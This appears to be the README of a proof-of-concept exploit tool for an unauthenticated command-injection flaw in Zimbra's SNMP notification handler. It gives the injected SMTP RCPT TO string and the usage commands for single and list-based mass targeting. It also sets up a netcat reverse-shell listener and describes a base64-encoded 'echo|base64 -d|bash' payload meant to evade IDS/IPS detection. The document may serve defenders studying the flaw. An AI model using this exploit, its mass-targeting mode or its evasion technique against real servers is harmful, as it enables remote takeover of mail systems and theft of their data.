CVE-2026-73570 — Zimbra ZCS SNMP Notification RCE exploit (PoC)

Unauthenticated Remote Code Execution via OS Command Injection in the Zimbra Collaboration Suite SNMP notification handler.

Overview

Root Cause

The optional zimbra-snmp package ships a swatchdog rule that tails /var/log/zimbra.log for lines matching:

Service status change: <NAME> changed from <STATE> to <STATE>

When a match is found, swatchdog passes the captured <NAME> field directly to the SNMP notification shell script without any sanitisation.

An unauthenticated attacker can inject a crafted log entry by sending a specially formed SMTP RCPT TO command. Using an RFC 5321 quoted local-part, shell metacharacters — e.g. $(...) — are embedded inside <NAME> and execute when swatchdog processes the resulting log line.

Pre-conditions

All three conditions must be true on the target for the vulnerability to be exploitable:

• zimbra-snmp package is installed
• SNMP notifications are enabled (snmp_notify = true)
• swatchdog service is running

Attack Flow

Attacker                          Zimbra MTA
   │                                  │
   │── TCP connect :25/:465/:587 ────►│
   │── EHLO mx-test.invalid ─────────►│
   │── MAIL FROM:<scanner@...> ──────►│
   │── RCPT TO:<"x: Service status    │
   │     change: localhost $(CMD)     │
   │     changed from stopped to      │
   │     running"@cve.invalid> ──────►│
   │                                  │── logs RCPT TO data ──► /var/log/zimbra.log
   │                                  │                               │
   │                                  │                         swatchdog matches
   │                                  │                         pattern, extracts
   │                                  │                         $(CMD), executes
   │◄─────────── shell callback ───────────────────────────────────────┘

1. Connect to port 25 / 465 / 587.
2. Send a standard SMTP conversation with the weaponised RCPT TO.
3. Zimbra logs the address data regardless of accept/reject.
4. swatchdog matches the log pattern and extracts the injected $(CMD).
5. The SNMP handler executes CMD as the zimbra OS user.

Exploit

Requirements

cpan IO::Socket::SSL MIME::Base64 Digest::HMAC_MD5

or via apt-get

apt-get install libio-socket-ssl-perl libmime-base64-perl libdigest-hmac-perl

or via yum

yum install perl-IO-Socket-SSL perl-MIME-Base64 perl-Digest-HMAC

Single target

perl zimbra-poc.pl -H mail.target.com -r <YOUR_IP> -R 4444

Target list

perl zimbra-poc.pl -f targets.txt -r <YOUR_IP> -R 4444

targets.txt — one host per line, optional :port, lines starting with # are ignored:

mail.example.com
mail.example.com:25
10.0.0.50:587
# ignored comment

All options

Full example

# Terminal 1 — start listener
nc -lvnp 4444

# Terminal 2 — run exploit
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v

Payload technique

The reverse shell command is base64-encoded before injection:

echo <b64>|base64 -d|bash

This prevents IDS/IPS from matching plaintext signatures such as /dev/tcp, bash -i, or nc -e. The encoded blob is injected as $(...) inside the quoted local-part of RCPT TO, triggering execution server-side when swatchdog processes the log entry.

Mitigation

References

• NVD — CVE-2026-73570
• Zimbra Security Advisories
• CISA Known Exploited Vulnerabilities — CVE-2026-73570
• CERT.pl advisory
• BiuTrap/CVE-2026-73570

Disclaimer

This proof-of-concept is released for authorized security testing, academic research, and defensive purposes only.
Running it against systems you do not own or lack explicit written permission to test is illegal.
The author assumes no liability for any misuse or damage caused by this tool.